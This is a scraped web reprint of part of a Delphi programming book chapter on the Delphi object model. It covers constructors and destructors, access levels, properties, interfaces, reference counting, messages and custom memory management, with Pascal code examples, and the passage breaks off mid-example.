When writing a class, you might need to override the Destroy destructor, but you must not redeclare the Free method. When freeing an object, you should call the Free method and not the destructor. The distinction is important, because Free checks whether the object reference is nil and calls Destroy only for non-nil references. In extraordinary circumstances, a class can redefine the Free method (such as TInterface in the seldom-used VirtIntf unit), which makes it that much more important to call Free, not Destroy.

If a constructor or AfterConstruction method raises an exception, Delphi automatically calls the object's destructor. When you write a destructor, you must remember that the object being destroyed might not have been completely constructed. Delphi ensures that all fields start out at zero, but if the exception occurs in the middle of your constructor, some fields might be initialized and some might still be zero. If the destructor just frees objects and pointers, you don't need to worry, because the Free method and FreeMem procedure both check for nil pointers. If the destructor calls other methods, though, always check first for a nil pointer.


CSDN_文档中心_The Delphi Object Model (PART II)

The Delphi Object Model (PART II) Go to Stefan Walther's website Format this article printer-friendly! Set a bookmark for this article
Sample Chapter of Delphi in a Nutshell
Product:
Delphi all versions 		Category:
OO-related 		Skill Level:
 Scoring:
Last Update:
05/21/2000
Search Keys:
delphi delphi3000 article Object Model OOP interfaces 		Times Scored:
7 		Visits:
5557
Uploader: Stefan Walther
Company: bluestep.com IT-Consulting 		Reference: Ray Lischner - O'Reilly
Question/Problem/Abstract:
Delphi's support for object-oriented programming is rich and powerful. In addition to traditional classes and objects, Delphi also has interfaces (similar to those found in COM and Java), exception handling, and multithreaded programming. This chapter covers Delphi's object model in depth. You should already be familiar with standard Pascal and general principles of object-oriented programming.
Answer:

Reprinted with permission from O'Reilly & Associates

Object Life Cycle

For most objects, you call a constructor to create the object, use the object, and then call Free to free the object. Delphi handles all the other details for you. Sometimes, though, you need to know a little more about the inner mechanisms of Delphi's object model. Example 2-8 shows the methods that Delphi calls or simulates when it creates and frees an object.

Example 2-8: The Life Cycle of an Object

type
  TSomething = class
    procedure DoSomething;
  end;
var
  Ref: TSomething;
begin
  Ref := TSomething.Create;
  Ref.DoSomething;
  Ref.Free;
end;
// The hidden code in the constructor looks something like this:
function TSomething.Create(IsClassRef: Boolean): TSomething;
begin
  if IsClassRef then
  try
    // Allocate the new object.
    Self := TSomething.NewInstance;

    // NewInstance initializes the object in the same way that
    // InitInstance does. If you override NewInstance, though,
    // and do not call the inherited NewInstance, you must call
    // InitInstance. The call is shown below, so you know what
    // happens, but remember that ordinarily Delphi does not
    // actually call InitInstance.
    InitInstance(Self);

    // Do the real work of the constructor, but without all the
    // class reference overhead. Delphi does not really call the
    // constructor recursively.
    Self.Create(False);

    Self.AfterConstruction;
  except
    // If any exception occurs, Delphi automatically calls the
    // object's destructor.
    Self.Destroy;
  end
  else
    Self.Create(False);
  Result := Self;
end;

// The hidden code in the destructor looks something like this:
procedure TSomething.Destroy(Deallocate: Boolean);
begin
  if Deallocate then
    Self.BeforeDestruction;

  // Delphi doesn't really call the destructor recursively, but
  // this is where the destructor's real work takes place.
  Self.Destroy(False);

  if Deallocate then
  begin
    // Delphi doesn't really call CleanupInstance. Instead, the
    // FreeInstance method does the cleanup. If you override
    // FreeInstance and do not call the inherited FreeInstance,
    // you must call CleanupInstance to clean up strings,
    // dynamic arrays, and Variant-type fields.
    Self.CleanupInstance;
    // Call FreeInstance to free the object's memory.
    Self.FreeInstance;
  end;
end;

Access Levels

Like C++ and Java, Delphi has different access levels that determine which objects can access the fields, methods, and properties of another object. The access levels are as follows:

private
Declarations that are declared private can be accessed only by the class's own methods or by any method, procedure, or function defined in the same unit's implementation section. Delphi does not have C++-style friend declarations or Java-style package level access. The equivalent in Delphi is to declare package or friend classes in the same unit, which gives them access to the private and protected parts of every class defined in the same unit.

protected
A protected declaration can be accessed from any method of the class or its descendants. The descendent classes can reside in different units.

public
Public methods have unrestricted access. Any method, function, or procedure can access a public declaration. Unless you use the $M+ compiler directive (see Chapter 8, Compiler Directives, for details), the default access level is public.

published
Published declarations are similar to public declarations, except that Delphi stores runtime type information for published declarations. Some declarations cannot be published; see Chapter 3 for details. If a class or a base class uses the $M+ directive, the default access level is published.

TIP:
Delphi's IDE declares fields and methods in the initial unnamed section of a form declaration. Because TForm inherits from TPersistent, which uses the $M+ directive, the initial section is published. In other words, the IDE declares its fields and methods as published. When Delphi loads a form description (.dfm file), it relies on the published information to build the form object. The IDE relies on the initial, unnamed section of the form class. If you modify that section, you run the risk of disabling the IDE's form editor.

automated
Automated declarations are similar to public declarations, except that Delphi stores additional runtime type information to support OLE automation servers. Automated declarations are obsolete; you should use Delphi's type library editor instead, but for now, they remain a part of the language for backward compatibility. A future release of Delphi might eliminate them entirely. Chapter 3 describes automated declarations in more depth.

A derived class can increase the access level of a property by redeclaring the property under the new access level (e.g., change protected to public). You cannot decrease a property's access level, and you cannot change the visibility of a field or method. You can override a virtual method and declare the overridden method at the same or higher access level, but you cannot decrease the access level.

Hiding a Constructor

Sometimes, a class is not for public use, but is a helper class whose use is entirely subservient to another class. In that case, you probably want to make the constructors for the helper class private or protected, but this is tricky. TObject declares a public constructor: Create. Even though the helper class's constructors are private or protected, you can call the public Create constructor inherited from TObject.

Although you cannot change the access level of the inherited Create constructor, you can hide it with another public constructor. Because the derived constructor should not be called, it can raise an exception. For example:

type
  TPublic = class;
  TPrivateHelper = class
  private
    // TPublic is the only class allowed to
    // call the real constructor:
    constructor Create(Owner: TPublic);
      overload;
  public
    // Hide TObject.Create, in case someone
    // accidentally tries to create a
    // TPrivateHelper instance.
    constructor Create;
      reintroduce; overload;
  end;
  TPublic = class
  private
    fHelper: TPrivateHelper;
  public
    constructor Create;
    destructor Destroy;
  end;

constructor TPrivateHelper.Create;
begin
  raise Exception.Create('Programming error')
end;

constructor TPublic.Create;
begin
  // This is the only place where
  // TPrivateHelper is created.
  fHelper := TPrivateHelper.Create(Self);
end;

Properties

A property looks like a field but can act like a method. Properties take the place of accessor and mutator methods (sometimes called getters and setters), but have much more flexibility and power. Properties are vital to Delphi's IDE, and you can also use properties in many other situations.

A property has a reader and writer to get and set the property's value. The reader can be the name of a field, a selector for an aggregate field, or a method that returns the property value. The writer can be a field name, a selector for an aggregate field, or a method that sets the property value. You can omit the writer to make a read-only property. You can also omit the reader to create a write-only property, but the uses for such a beast are limited. Omitting both the reader and the writer is pointless, so Delphi does not let you do so.

Most readers and writers are field names or method names, but you can also refer to part of an aggregate field (record or array). If a reader or writer refers to an array element, the array index must be a constant, and the field's type cannot be a dynamic array. Records and arrays can be nested, and you can even use variant records. Example 2-9 shows an extended rectangle type, similar to the Windows TRect type, but because it is a class, it has properties and methods.

Example 2-9: Properties Readers and Writers
TRectEx = class(TPersistent)
  private
    R: TRect;
    function GetHeight: Integer;
    function GetWidth: Integer;
    procedure SetHeight(const Value: Integer);
    procedure SetWidth(const Value: Integer);
  public
    constructor Create(const R: TRect); overload;
    constructor Create(Left, Top, Right, Bottom: Integer); overload;
    constructor Create(const TopLeft, BottomRight: TPoint); overload;

    procedure Assign(Source: TPersistent); override;

    procedure Inflate(X, Y: Integer);
    procedure Intersect(const R: TRectEx);
    function IsEmpty: Boolean;
    function IsEqual(const R: TRectEx): Boolean;
    procedure Offset(X, Y: Integer);
    procedure Union(const R: TRectEx);

    property TopLeft: TPoint read R.TopLeft write R.TopLeft;
    property BottomRight: TPoint read R.BottomRight write R.BottomRight;
    property Rect: TRect read R write R;
    property Height: Integer read GetHeight write SetHeight;
    property Width: Integer read GetWidth write SetWidth;
  published
    property Left: Integer read R.Left write R.Left default 0;
    property Right: Integer read R.Right write R.Right default 0;
    property Top: Integer read R.Top write R.Top default 0;
    property Bottom: Integer read R.Bottom write R.Bottom default 0;
  end;

Array properties

Properties come in scalar and array flavors. An array property cannot be published, but they have many other uses. The array index can be any type, and you can have multidimensional arrays, too. For array-type properties, you must use read and write methods--you cannot map an array-type property directly to an array-type field.

You can designate one array property as the default property. You can refer to the default property by using an object reference and an array subscript without mentioning the property name, as shown in Example 2-10.

Example 2-10: Using a Default Array Property

type
  TExample = class
    ...
    property Items[I: Integer]: Integer read GetItem write SetItem;
    property Chars[C: Char]: Char read GetChar write SetChar; default;
  end;
var
  Example: TExample;
  I: Integer;
  C: Char;
begin
  Example := TExample.Create;
  I := Example.Items[4];     // Must mention property name explicitly
  C := Example['X'];         // Array property is default
  C := Example.Chars['X'];   // Same as previous line

Indexed properties

You can map many properties to a single read or write method by specifying an index number for each property. The index value is passed to the read and write methods to differentiate one property from another.

You can even mix array indices and an index specifier. The reader and writer methods take the array indices as the first arguments, followed by the index specifier.

Default values

A property can also have stored and default directives. This information has no semantic meaning to the Delphi Pascal language, but Delphi's IDE uses this information when storing form descriptions. The value for the stored directive is a Boolean constant, a field of Boolean type, or a method that takes no arguments and returns a Boolean result. The value for the default directive is a constant value of the same type as the property. Only enumerated, integer, and set-type properties can have a default value. The stored and default directives have meaning only for published properties.

To distinguish a default array from a default value, the default array directive comes after the semicolon that ends the property declaration. The default value directive appears as part of the property declaration. See the default directive in Chapter 5 for details.

Using properties

A common approach to writing Delphi classes is to make all fields private, and declare public properties to access the fields. Delphi imposes no performance penalty for properties that access fields directly. By using properties you get the added benefit of being able to change the implementation at a future date, say to add validation when a field's value changes. You can also use properties to enforce restricted access, such as using a read-only property to access a field whose value should not be changed. Example 2-11 shows some of the different ways to declare and use properties.

Example 2-11: Declaring and Using Properties

type
  TCustomer = record
    Name: string;
    TaxIDNumber: string[9];
  end;
  TAccount = class
  private
    fCustomer: TCustomer;
    fBalance: Currency;
    fNumber: Cardinal;
    procedure SetBalance(NewBalance: Currency);
  published
    property Balance: Currency read fBalance write SetBalance;
    property Number: Cardinal read fNumber; // Cannot change account #
    property CustName: string read fCustomer.Name;
  end;
  TSavingsAccount = class(TAccount)
  private
    fInterestRate: Integer;
  published
    property InterestRate: Integer read fInterestRate
        write fInterestRate default DefaultInterestRate;
  end;
  TLinkedAccount = class(TObject)
  private
    fAccounts: array[0..1] of TAccount;
    function GetAccount(Index: Integer): TAccount;
  public
    // Two ways for properties to access an array: using an index
    // or referring to an array element.
    property Checking: TAccount index 0 read GetAccount;
    property Savings:  TAccount read fAccounts[1];
  end;
  TAccountList = class
  private
    fList: TList;
    function GetAccount(Index: Integer): TAccount;
    procedure SetAccount(Index: Integer; Account: TAccount);
    function GetCount: Integer;
  protected
    property List: TList read fList;
  public
    property Count: Integer read GetCount;
    property Accounts[Index: Integer]: TAccount read GetAccount
        write SetAccount; default;
  end;

procedure TAccount.SetBalance(NewBalance: Currency);
begin
  if NewBalance < 0 then
    raise EOverdrawnException.Create;
  fBalance := NewBalance;
end;

function TLinkedAccount.GetAccount(Index: Integer): TAccount;
begin
  Result := fAccounts[Index]
end;

function TAccountList.GetCount: Integer;
begin
  Result := List.Count
end;

function TAccountList.GetAccount(Index: Integer): TAccount;
begin
  Result := List[Index]
end;

procedure TAccountList.SetAccount(Index: Integer; Account: TAccount);
begin
  fList[Index] := Account
end;

Class-type properties

Properties of class type need a little extra attention. The best way to work with class-type properties is to make sure the owner object manages the property object. In other words, don't save a reference to other objects, but keep a private copy of the property object. Use a write method to store an object by copying it. Delphi's IDE requires this behavior of published properties, and it makes sense for unpublished properties, too.

The only exception to the rule for class-type properties is when a property stores a reference to a component on a form. In that case, the property must store an object reference and not a copy of the component.

Delphi's IDE stores component references in a .dfm file by storing only the component name. When the .dfm is loaded, Delphi looks up the component name to restore the object reference. If you must store an entire component within another component, you must delegate all properties of the inner component.

Make sure the property's class inherits from TPersistent and that the class overrides the Assign method. Implement your property's write method to call Assign. (TPersistent--in the Classes unit--is not required, but it's the easiest way to copy an object. Otherwise, you need to duplicate the Assign method in whatever class you use.) The read method can provide direct access to the field. If the property object has an OnChange event, you might need to set that so your object is notified of any changes. Example 2-12 shows a typical pattern for using a class-type property. The example defines a graphical control that repeatedly displays a bitmap throughout its extent, tiling the bitmap as necessary. The Bitmap property stores a TBitmap object.

Example 2-12: Declaring and Using a Class-type Property

unit Tile; interface uses SysUtils, Classes, Controls, Graphics; type // Tile a bitmap TTile = class(TGraphicControl) private fBitmap: TBitmap; procedure SetBitmap(NewBitmap: TBitmap); procedure BitmapChanged(Sender: TObject); protected procedure Paint; override; public constructor Create(Owner: TComponent); override; destructor Destroy; override; published property Align; property Bitmap: TBitmap read fBitmap write SetBitmap; property OnClick; property OnDblClick; // Many other properties are useful, but were omitted to save space. // See TControl for a full list. end; implementation { TTile } // Create the bitmap when creating the control. constructor TTile.Create(Owner: TComponent); begin inherited; fBitmap := TBitmap.Create; fBitmap.OnChange := BitmapChanged; end; // Free the bitmap when destroying the control. destructor TTile.Destroy; begin FreeAndNil(fBitmap); inherited; end; // When the bitmap changes, redraw the control. procedure TTile.BitmapChanged(Sender: TObject); begin Invalidate; end; // Paint the control by tiling the bitmap. If there is no // bitmap, don't paint anything. procedure TTile.Paint; var X, Y: Integer; begin if (Bitmap.Width = 0) or (Bitmap.Height = 0) then Exit; Y := 0; while Y < ClientHeight do begin X := 0; while X < ClientWidth do begin Canvas.Draw(X, Y, Bitmap); Inc(X, Bitmap.Width); end; Inc(Y, Bitmap.Height); end; end; // Set a new bitmap by copying the TBitmap object. procedure TTile.SetBitmap(NewBitmap: TBitmap); begin fBitmap.Assign(NewBitmap); end; end.

Interfaces

An interface defines a type that comprises abstract virtual methods. Although a class inherits from a single base class, it can implement any number of interfaces. An interface is similar to an abstract class (that is, a class that has no fields and all of whose methods are abstract), but Delphi has extra magic to help you work with interfaces. Delphi's interfaces sometimes look like COM (Component Object Model) interfaces, but you don't need to know COM to use Delphi interfaces, and you can use interfaces for many other purposes.

You can declare a new interface by inheriting from an existing interface. An interface declaration contains method and property declarations, but no fields. Just as all classes inherit from TObject, all interfaces inherit from IUnknown. The IUnknown interface declares three methods: _AddRef, _Release, and QueryInterface. If you are familiar with COM, you will recognize these methods. The first two methods manage reference counting for the lifetime of the object that implements the interface. The third method accesses other interfaces an object might implement.

When you declare a class that implements one or more interfaces, you must provide an implementation of all the methods declared in all the interfaces. The class can implement an interface's methods, or it can delegate the implementation to a property, whose value is an interface. The simplest way to implement the _AddRef, _Release, and QueryInterface methods is to inherit them from TInterfacedObject or one of its derived classes, but you are free to inherit from any other class if you wish to define the methods yourself.

A class implements each of an interface's methods by declaring a method with the same name, arguments, and calling convention. Delphi automatically matches the class's methods with the interface's methods. If you want to use a different method name, you can redirect an interface method to a method with a different name. The redirected method must have the same arguments and calling convention as the interface method. This feature is especially important when a class implements multiple interfaces with identical method names. See the class keyword in Chapter 5 for more information about redirecting methods.

A class can delegate the implementation of an interface to a property that uses the implements directive. The property's value must be the interface that the class wants to implement. When the object is cast to that interface type, Delphi automatically fetches the property's value and returns that interface. See the implements directive in Chapter 5 for details.

For each non-delegated interface, the compiler creates a hidden field to store a pointer to the interface's VMT. The interface field or fields follow immediately after the object's hidden VMT field. Just as an object reference is really a pointer to the object's hidden VMT field, an interface reference is a pointer to the interface's hidden VMT field. Delphi automatically initializes the hidden fields when the object is constructed. See Chapter 3 to learn how the compiler uses RTTI to keep track of the VMT and the hidden field.

Reference counting

The compiler generates calls to _AddRef and _Release to manage the lifetime of interfaced objects. To use Delphi's automatic reference counting, declare a variable with an interface type. When you assign an interface reference to an interface variable, Delphi automatically calls _AddRef. When the variable goes out of scope, Delphi automatically calls _Release.

The behavior of _AddRef and _Release is entirely up to you. If you inherit from TInterfacedObject, these methods implement reference counting. The _AddRef method increments the reference count, and _Release decrements it. When the reference count goes to zero, _Release frees the object. If you inherit from a different class, you can define these methods to do anything you want. You should implement QueryInterface correctly, though, because Delphi relies on it to implement the as operator.

Typecasting

Delphi calls QueryInterface as part of its implementation of the as operator for interfaces. You can use the as operator to cast an interface to any other interface type. Delphi calls QueryInterface to obtain the new interface reference. If QueryInterface returns an error, the as operator raises a runtime error. (The SysUtils unit maps the runtime error to an EIntfCastError exception.)

You can implement QueryInterface any way you want, but you probably want to use the same approach taken by TInterfacedObject. Example 2-13 shows a class that implements QueryInterface normally, but uses stubs for _AddRef and _Release. Later in this section, you'll see how useful this class can be.

Example 2-13: Interface Base Class Without Reference Counting

type
  TNoRefCount = class(TObject, IUnknown)
  protected
    function QueryInterface(const IID:TGUID; out Obj):HResult; stdcall;
    function _AddRef: Integer; stdcall;
    function _Release: Integer; stdcall;
  end;

function TNoRefCount.QueryInterface(const IID:TGUID; out Obj): HResult;
begin
  if GetInterface(IID, Obj) then
    Result := 0
  else
    Result := Windows.E_NoInterface;
end;

function TNoRefCount._AddRef: Integer;
begin
  Result := -1
end;

function TNoRefCount._Release: Integer;
begin
  Result := -1
end;

Interfaces and object-oriented programming

The most important use of interfaces is to separate type inheritance from class inheritance. Class inheritance is an effective tool for code reuse. A derived class easily inherits the fields, methods, and properties of a base class, and thereby avoids reimplementing common methods. In a strongly typed language, such as Delphi, the compiler treats a class as a type, and therefore class inheritance becomes synonymous with type inheritance. In the best of all possible worlds, though, types and classes are entirely separate.

Textbooks on object-oriented programming often describe an inheritance relationship as an "is-a" relationship, for example, a TSavingsAccount "is-a" TAccount. You can see the same idea in Delphi's is operator, where you test whether an Account variable is TSavingsAccount.

Outside of textbook examples, though, simple is-a relationships break down. A square is a rectangle, but that doesn't mean you want to derive TSquare from TRectangle. A rectangle is a polygon, but you probably don't want to derive TRectangle from TPolygon. Class inheritance forces a derived class to store all the fields that are declared in the base class, but in this case, the derived class doesn't need that information. A TSquare object can get away with storing a single length for all of its sides. A TRectangle object, however, must store two lengths. A TPolygon object needs to store many sides and vertices.

The solution is to separate the type inheritance (a square is a rectangle is a polygon) from class inheritance (class C inherits the fields and methods of class B, which inherits the fields and methods of class A). Use interfaces for type inheritance, so you can leave class inheritance to do what it does best: inheriting fields and methods.

In other words, ISquare inherits from IRectangle, which inherits from IPolygon. The interfaces follow the "is-a" relationship. Entirely separate from the interfaces, the class TSquare implements ISquare, IRectangle, and IPolygon. TRectangle implements IRectangle and IPolygon.

TIP:
The convention in COM programming is to name interfaces with an initial I. Delphi follows this convention for all interfaces. Note that it is a useful convention, but not a language requirement.

On the implementation side, you can declare additional classes to implement code reuse. For example, TBaseShape implements the common methods and fields for all shapes. TRectangle inherits from TBaseShape and implements the methods in a way that make sense for rectangles. TPolygon also inherits from TBaseShape and implements the methods in a way that make sense for other kinds of polygons.

A drawing program can use the shapes by manipulating IPolygon interfaces. Example 2-14 shows simplified classes and interfaces for this scheme. Notice how each interface has a GUID (Globally Unique Identifier) in its declaration. The GUID is necessary for using QueryInterface. If you need the GUID of an interface (in an explicit call to QueryInterface, for example), you can use the interface name. Delphi automatically converts an interface name to its GUID.

Example 2-14: Separating Type and Class Hierarchies

type
  IShape = interface
  ['{50F6D851-F4EB-11D2-88AC-00104BCAC44B}']
    procedure Draw(Canvas: TCanvas);
    function GetPosition: TPoint;
    procedure SetPosition(Value: TPoint);
    property Position: TPoint read GetPosition write SetPosition;
  end;

  IPolygon = interface(IShape)
  ['{50F6D852-F4EB-11D2-88AC-00104BCAC44B}']
    function NumVertices: Integer;
    function NumSides: Integer;
    function SideLength(Index: Integer): Integer;
    function Vertex(Index: Integer): TPoint;
  end;
  IRectangle = interface(IPolygon)
  ['{50F6D853-F4EB-11D2-88AC-00104BCAC44B}']
  end;
  ISquare = interface(IRectangle)
  ['{50F6D854-F4EB-11D2-88AC-00104BCAC44B}']
    function Side: Integer;
  end;

  TBaseShape = class(TNoRefCount, IShape)
  private
    fPosition: TPoint;
    function GetPosition: TPoint;
    procedure SetPosition(Value: TPoint);
  public
    constructor Create; virtual;
    procedure Draw(Canvas: TCanvas); virtual; abstract;
    property Position: TPoint read fPosition write SetPosition;
  end;
  TPolygon = class(TBaseShape, IPolygon)
  private
    fVertices: array of TPoint;
  public
    procedure Draw(Canvas: TCanvas); override;
    function NumVertices: Integer;
    function NumSides: Integer;
    function SideLength(Index: Integer): Integer;
    function Vertex(Index: Integer): TPoint;
  end;
  TRectangle = class(TBaseShape, IPolygon, IRectangle)
  private
    fRect: TRect;
  public
    procedure Draw(Canvas: TCanvas); override;
    function NumVertices: Integer;
    function NumSides: Integer;
    function SideLength(Index: Integer): Integer;
    function Vertex(Index: Integer): TPoint;
  end;
  TSquare = class(TBaseShape, IPolygon, IRectangle, ISquare)
  private
    fSide: Integer;
  public
    procedure Draw(Canvas: TCanvas); override;
    function Side: Integer;
    function NumVertices: Integer;
    function NumSides: Integer;
    function SideLength(Index: Integer): Integer;
    function Vertex(Index: Integer): TPoint;
  end;

A derived class inherits the interfaces implemented by the ancestors' classes. Thus, TRectangle inherits from TBaseShape, and TBaseShape implements IShape so TRectangle implements IShape. Inheritance of interfaces works a little differently. Interface inheritance is merely a typing convenience, so you don't have to retype a lot of method declarations. When a class implements an interface, that does not automatically mean the class implements the ancestor interfaces. A class implements only those interfaces that are listed in its class declaration (and in the declaration for ancestor classes). Thus, even though IRectangle inherits from IPolygon, the TRectangle class must list IRectangle and IPolygon explicitly.

To implement a type hierarchy, you might not want to use reference counting. Instead, you will rely on explicit memory management, the way you do for normal Delphi objects. In this case, it's best to implement the _AddRef and _Release methods as stubs, such as those in the TNoRefCount class in Example 2-13. Just be careful not to have any variables that hold stale references. A variable that refers to an object that has been freed can cause problems if you use the variable. An interface variable that refers to an object that has been freed will certainly cause problems, because Delphi will automatically call its _Release method. In other words, you never want to have variables that contain invalid pointers, and working with interfaces that do not use reference counting forces you to behave.

COM and Corba

Delphi interfaces are also useful for implementing and using COM and Corba objects. You can define a COM server that implements many interfaces, and Delphi automatically manages the COM aggregation for you. The runtime library contains many classes that make it easier to define COM servers, class factories, and so on. Because these classes are not part of the Delphi Pascal language, they are not covered in this book. Consult the product documentation to learn more.

Reference Counting

The previous section discusses how Delphi uses reference counting to manage the lifetime of interfaces. Strings and dynamic arrays also use reference counting to manage their lifetimes. The compiler generates appropriate code to keep track of when interface references, strings, and dynamic arrays are created and when the variables go out of scope and the objects, strings, and arrays must be destroyed.

Usually, the compiler can handle the reference counting automatically, and everything works the way the you expect it to. Sometimes, though, you need to give a hint to the compiler. For example, if you declare a record that contains a reference counted field, and you use GetMem to allocate a new instance of the record, you must call Initialize, passing the record as an argument. Before calling FreeMem, you must call Finalize.

Sometimes, you want to keep a reference to a string or interface after the variable goes out of scope, that is, at the end of the block where the variable is declared. For example, maybe you want to associate an interface with each item in a TListView. You can do this by explicitly managing the reference count. When storing the interface, be sure to cast it to IUnknown, call _AddRef, and cast the IUnknown reference to a raw pointer. When extracting the data, type cast the pointer to IUnknown. You can then use the as operator to cast the interface to any desired type, or just let Delphi release the interface. For convenience, declare a couple of subroutines to do the dirty work for you, and you can reuse these subroutines any time you need to retain an interface reference. Example 2-15 shows an example of how you can store an interface reference as the data associated with a list view item.

Example 2-15: Storing Interfaces in a List View

// Cast an interface to a Pointer such that the reference
// count is incremented and the interface will not be freed
// until you call ReleaseIUnknown.
function RefIUnknown(const Intf: IUnknown): Pointer;
begin
  Intf._AddRef;               // Increment the reference count.
  Result := Pointer(Intf);    // Save the interface pointer.
end;

// Release the interface whose value is stored in the pointer P.
procedure ReleaseIUnknown(P: Pointer);
var
  Intf: IUnknown;
begin
  Pointer(Intf) := P;
  // Delphi releases the interface when Intf goes out of scope.
end;

// When the user clicks the button, add an interface to the list.
procedure TForm1.Button1Click(Sender: TObject);
var
  Item: TListItem;
begin
  Item := ListView1.Items.Add;
  Item.Caption := 'Stuff';
  Item.Data := RefIUnknown(GetIntf as IUnknown);
end;

// When the list view is destroyed or the list item is destroyed
// for any other reason, release the interface, too.
procedure TForm1.ListView1Deletion(Sender: TObject; Item: TListItem);
begin
   ReleaseIUnknown(Item.Data);
end;

// When the user selects the list view item, do something with the
// associated interface.
procedure TForm1.ListView1Click(Sender: TObject);
var
  Intf: IMyInterface;
begin
  Intf := IUnknown(ListView1.Selected.Data) as IMyInterface;
  Intf.DoSomethingUseful;
end;

You can also store strings as data. Instead of using _AddRef, cast the string to a Pointer to store the reference to the string, then force the variable to forget about the string. When the variable goes out of scope, Delphi will not free the string, because the variable has forgotten all about it. After retrieving the pointer, assign it to a string variable that is cast to a pointer. When the subroutine returns, Delphi automatically frees the string's memory. Be sure your program does not retain any pointers to memory that is about to be freed. Again, convenience subroutines simplify the task. Example 2-16 shows one way to store strings.

Example 2-16: Storing Strings in a List View

// Save a reference to a string and return a raw pointer
// to the string.
function RefString(const S: string): Pointer;
var
  Local: string;
begin
  Local := S;                // Increment the reference count.
  Result := Pointer(Local);  // Save the string pointer.
  Pointer(Local) := nil;     // Prevent decrementing the ref count.
end;

// Release a string that was referenced with RefString.
procedure ReleaseString(P: Pointer);
var
  Local: string;
begin
  Pointer(Local) := P;
  // Delphi frees the string when Local goes out of scope.
end;

// When the user clicks the button, add an item to the list view
// and save an additional, hidden string.
procedure TForm1.Button1Click(Sender: TObject);
var
  Item: TListItem;
begin
  Item := ListView1.Items.Add;
  Item.Caption := Edit1.Text;
  Item.Data := RefString(Edit2.Text);
end;

// Release the string when the list view item is destroyed
// for any reason.
procedure TForm1.ListView1Deletion(Sender: TObject; Item: TListItem);
begin
  ReleaseString(Item.Data);
end;

// Retrieve the string when the user selects the list view item.
procedure TForm1.ListView1Click(Sender: TObject);
var
  Str: string;
begin
  if ListView1.Selected <> nil then
  begin
    Str := string(ListView1.Selected.Data);
    ShowMessage(Str);
  end;
end;


CSDN_文档中心_The Delphi Object Model (PART III)

The Delphi Object Model (PART III) Go to Stefan Walther's website Format this article printer-friendly! Set a bookmark for this article
Sample Chapter of Delphi in a Nutshell
Product:
Delphi all versions 		Category:
OO-related 		Skill Level:
 Scoring:
Last Update:
05/21/2000
Search Keys:
delphi delphi3000 article Object Model OOP interfaces 		Times Scored:
11 		Visits:
4947
Uploader: Stefan Walther
Company: bluestep.com IT-Consulting 		Reference: Ray Lischner - O"Reilly
Question/Problem/Abstract:
Delphi's support for object-oriented programming is rich and powerful. In addition to traditional classes and objects, Delphi also has interfaces (similar to those found in COM and Java), exception handling, and multithreaded programming. This chapter covers Delphi's object model in depth. You should already be familiar with standard Pascal and general principles of object-oriented programming.
Answer:

Reprinted with permission from O'Reilly & Associates

Messages

You should be familiar with Windows messages: user interactions and other events generate messages, which Windows sends to an application. An application processes messages one at a time to respond to the user and other events. Each kind of message has a unique number and two integer parameters. Sometimes a parameter is actually a pointer to a string or structure that contains more complex information. Messages form the heart of Windows event-driven architecture, and Delphi has a unique way of supporting Windows messages.

In Delphi, every object--not only window controls--can respond to messages. A message has an integer identifier and can contain any amount of additional information. In the VCL, the Application object receives Windows messages and maps them to equivalent Delphi messages. In other words, Windows messages are a special case of more general Delphi messages.

A Delphi message is a record where the first two bytes contain an integer message identifier, and the remainder of the record is programmer-defined. Delphi's message dispatcher never refers to any part of the message record past the message number, so you are free to store any amount or kind of information in a message record. By convention, the VCL always uses Windows-style message records (TMessage), but if you find other uses for Delphi messages, you don't need to feel so constrained.

To send a message to an object, fill in the message identifier and the rest of the message record and call the object's Dispatch method. Delphi looks up the message number in the object's message table. The message table contains pointers to all the message handlers that the class defines. If the class does not define a message handler for the message number, Delphi searches the parent class's message table. The search continues until Delphi finds a message handler or it reaches the TObject class. If the class and its ancestor classes do not define a message handler for the message number, Delphi calls the object's DefaultHandler method. Window controls in the VCL override DefaultHandler to pass the message to the window procedure; other classes usually ignore unknown messages. You can override DefaultHandler to do anything you want, perhaps raise an exception.

Use the message directive to declare a message handler for any message. See Chapter 5 for details about the message directive.

Message handlers use the same message table and dispatcher as dynamic methods. Each method that you declare with the dynamic directive is assigned a 16-bit negative number, which is really a message number. A call to a dynamic method uses the same dispatch code to look up the dynamic method, but if the method is not found, that means the dynamic method is abstract, so Delphi calls AbstractErrorProc to report a call to an abstract method.

Because dynamic methods use negative numbers, you cannot write a message handler for negative message numbers, that is, message numbers with the most-significant bit set to one. This limitation should not cause any problems for normal applications. If you need to define custom messages, you have the entire space above WM_USER ($0F00) available, up to $7FFF. Delphi looks up dynamic methods and messages in the same table using a linear search, so with large message tables, your application will waste time performing method lookups.

Delphi's message system is entirely general purpose, so you might find a creative use for it. Usually, interfaces provide the same capability, but with better performance and increased type-safety.

Memory Management

Delphi manages the memory and lifetime of strings, Variants, dynamic arrays, and interfaces automatically. For all other dynamically allocated memory, you--the programmer--are in charge. It's easy to be confused because it seems as though Delphi automatically manages the memory of components, too, but that's just a trick of the VCL.

Components Versus Objects

The VCL's TComponent class has two fancy mechanisms for managing object lifetimes, and they often confuse new Delphi programmers, tricking them into thinking that Delphi always manages object lifetimes. It's important that you understand exactly how components work, so you won't be fooled.

Every component has an owner. When the owner is freed, it automatically frees the components that it owns. A form owns the components you drop on it, so when the form is freed, it automatically frees all the components on the form. Thus, you don't usually need to be concerned with managing the lifetime of forms and components.

When a form or component frees a component it owns, the owner also checks whether it has a published field of the same name as the component. If so, the owner sets that field to nil. Thus, if your form dynamically adds or removes components, the form's fields always contain valid object references or are nil. Don't be fooled into thinking that Delphi does this for any other field or object reference. The trick works only for published fields (such as those automatically created when you drop a component on a form in the IDE's form editor), and only when the field name matches the component name.

Memory management is thread-safe, provided you use Delphi's classes or functions to create the threads. If you go straight to the Windows API and the CreateThread function, you must set the IsMultiThread variable to True. For more information, see Chapter 4, Concurrent Programming.

Ordinarily, when you construct an object, Delphi calls NewInstance to allocate and initialize the object. You can override NewInstance to change the way Delphi allocates memory for the object. For example, suppose you have an application that frequently uses doubly linked lists. Instead of using the general-purpose memory allocator for every node, it's much faster to keep a chain of available nodes for reuse. Use Delphi's memory manager only when the node list is empty. If your application frequently allocates and frees nodes, this special-purpose allocator can be faster than the general-purpose allocator. Example 2-17 shows a simple implementation of this scheme. (See Chapter 4 for a thread-safe version of this class.)

Example 2-17: Custom Memory Management for Linked Lists

type
  TNode = class
  private
    fNext, fPrevious: TNode;
  protected
    // Nodes are under control of TLinkedList.
    procedure Relink(NewNext, NewPrevious: TNode);
    constructor Create(Next: TNode = nil; Previous: TNode = nil);
    procedure RealFree;

  public
